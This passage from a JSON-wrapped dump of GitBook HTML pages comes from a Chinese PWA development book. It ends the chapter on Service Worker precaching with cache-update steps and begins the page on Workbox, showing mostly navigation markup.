function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/article\\.json$/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">staleWhileRevalidate</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span><span class=\"token regex\">/\\/statistics\\.json$/</span><span class=\"token punctuation\">,</span> <span class=\"token function\">networkOnly</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x9884;&#x7F13;&#x5B58;&#x7684;&#x6539;&#x9020;&#x5DE5;&#x4F5C;&#x5C31;&#x5B8C;&#x6210;&#x4E86;&#x3002;&#x542F;&#x52A8;&#x597D;&#x793A;&#x4F8B;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x4F7F;&#x7528; Chrome &#x6D4F;&#x89C8;&#x5668;&#x91CD;&#x65B0;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8080/index.html</code>&#xFF0C;&#x8FD9;&#x65F6;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x89C2;&#x5BDF;&#x5230;&#x65B0;&#x7684; Service Worker &#x5F00;&#x59CB;&#x5B89;&#x88C5;&#xFF0C;&#x540C;&#x65F6; Cache Storage &#x9762;&#x677F;&#x591A;&#x4E86;&#x4E00;&#x4E2A;&#x540D;&#x4E3A;&#x201C;precache&#x201D;&#x7684;&#x7F13;&#x5B58;&#x4ED3;&#x5E93;&#xFF0C;&#x91CC;&#x9762;&#x7684;&#x5185;&#x5BB9;&#x6B63;&#x662F;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x65AD;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7F51;&#x7EDC;&#x8FDE;&#x63A5;&#xFF0C;&#x9875;&#x9762;&#x4ECD;&#x7136;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x663E;&#x793A;&#xFF0C;&#x8BF4;&#x660E;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x5DF2;&#x6DFB;&#x52A0;&#x6210;&#x529F;&#x5E76;&#x4E14;&#x6B63;&#x5E38;&#x5DE5;&#x4F5C;&#x3002;</p>\n<p><img src=\"img/precache-demo.png\" alt=\"&#x9884;&#x7F13;&#x5B58;&#x793A;&#x4F8B;\"></p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x4FEE;&#x6539;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x5185;&#x5BB9;&#xFF0C;&#x7528;&#x4E8E;&#x89C2;&#x5BDF;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x7684;&#x66F4;&#x65B0;&#x8FC7;&#x7A0B;&#x3002;&#x9996;&#x5148;&#x5728; index.html &#x4E0A;&#x4FEE;&#x6539;&#x90E8;&#x5206;&#x5185;&#x5BB9;&#xFF0C;&#x6BD4;&#x5982;&#x589E;&#x52A0; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x663E;&#x793A;&#x6587;&#x6848; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span>&#x8FD9;&#x662F;&#x4E00;&#x9996;&#x5C0F;&#x8BD7;<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x8FD9;&#x6837; index.html &#x7684; md5 &#x5C06;&#x4F1A;&#x53D8;&#x6210; <code>asdf</code>&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x66F4;&#x65B0; service-worker.js &#x4E2D;&#x7684;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x5217;&#x8868;&#x90E8;&#x5206;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resources <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span>\n  <span class=\"token punctuation\">{</span>\n    url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.html&apos;</span><span class=\"token punctuation\">,</span>\n    revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;c607781a6a09a468&apos;</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token comment\">// ...</span>\n<span class=\"token punctuation\">]</span>\n<span class=\"token comment\">// ...</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x91CD;&#x65B0;&#x5237;&#x65B0;&#x9875;&#x9762;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x6B64;&#x65F6;&#x9875;&#x9762;&#x4E0A;&#x5E76;&#x6CA1;&#x6709;&#x663E;&#x793A;&#x540E;&#x9762;&#x6DFB;&#x52A0;&#x7684;&#x6587;&#x6848;&#x201C;&#x8FD9;&#x662F;&#x4E00;&#x884C;&#x5C0F;&#x8BD7;&#x201D;&#xFF0C;&#x8BF4;&#x660E; index.html &#x662F;&#x4ECE;&#x7F13;&#x5B58;&#x4E2D;&#x8BFB;&#x53D6;&#x7684;&#x3002;&#x540C;&#x65F6;&#x7531;&#x4E8E; service-worker.js &#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x53D8;&#x66F4;&#x800C;&#x89E6;&#x53D1;&#x4E86; Service Worker &#x7684;&#x91CD;&#x65B0;&#x5B89;&#x88C5;&#xFF1A;</p>\n<p><img src=\"img/precache-demo-reinstall.png\" alt=\"Service Worker &#x91CD;&#x65B0;&#x5B89;&#x88C5;\"></p>\n<p>&#x5B89;&#x88C5;&#x5B8C;&#x6210;&#x65F6;&#x201C;precache&#x201D;&#x7F13;&#x5B58;&#x4ED3;&#x5E93;&#x4E2D;&#x4FBF;&#x4F1A;&#x540C;&#x65F6;&#x5B58;&#x5728;&#x4E24;&#x6761;&#x201C;/index.html&#x201D;&#x7684;&#x5B58;&#x50A8;&#x6761;&#x76EE;&#xFF1A;</p>\n<p><img src=\"img/precache-demo-two-index.png\" alt=\"&#x540C;&#x540D;&#x8D44;&#x6E90;&#x66F4;&#x65B0;\"></p>\n<p>&#x4E4B;&#x540E;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x70B9;&#x51FB; skipWaiting &#x6309;&#x94AE;&#x6216;&#x5237;&#x65B0;&#x9875;&#x9762;&#x89E6;&#x53D1; Service Worker &#x8FDB;&#x5165;&#x6FC0;&#x6D3B;&#x9636;&#x6BB5;&#x3002;&#x5F53; Service Worker &#x6FC0;&#x6D3B;&#x5B8C;&#x6210;&#x65F6;&#xFF0C;&#x65E7;&#x7684;&#x201C;/index.html&#x201D;&#x7F13;&#x5B58;&#x4F1A;&#x88AB;&#x5220;&#x9664;&#xFF0C;&#x540C;&#x65F6;&#x9875;&#x9762;&#x663E;&#x793A;&#x4E86;&#x65B0;&#x6DFB;&#x52A0;&#x7684;&#x6587;&#x6848;&#xFF0C;&#x8BF4;&#x660E; Precacher &#x6210;&#x529F;&#x5B9E;&#x73B0;&#x4E86;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x4EA4;&#x66FF;&#x66F4;&#x6362;&#x7684;&#x7BA1;&#x7406;&#x3002;</p>\n<p><img src=\"img/precache-demo-update-success.png\" alt=\"&#x540C;&#x540D;&#x8D44;&#x6E90;&#x66FF;&#x6362;\"></p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-respond-strategy.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 5.3 资源请求响应策略\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"5-workbox.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 5.5 使用 Workbox\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"5.4 预缓存方案\",\"level\":\"1.6.4\",\"depth\":2,\"next\":{\"title\":\"5.5 使用 Workbox\",\"level\":\"1.6.5\",\"depth\":2,\"path\":\"chapter05/5-workbox.md\",\"ref\":\"chapter05/5-workbox.md\",\"articles\":[]},\"previous\":{\"title\":\"5.3 资源请求响应策略\",\"level\":\"1.6.3\",\"depth\":2,\"path\":\"chapter05/3-respond-strategy.md\",\"ref\":\"chapter05/3-respond-strategy.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05/4-precache.md\",\"mtime\":\"2019-06-19T10:37:42.211Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter05/5-workbox.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>5.5 使用 Workbox · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter06.html\" />\n    \n    \n    <link rel=\"prev\" href=\"4-precache.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"1-fetch-event-management.html\">\n            \n                <a href=\"1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"2-local-storage-management.html\">\n            \n                <a href=\"2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"3-respond-strategy.html\">\n            \n                <a href=\"3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"4-precache.html\">\n            \n                <a href=\"4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.6.5\" data-path=\"5-workbox.html\">\n            \n                <a 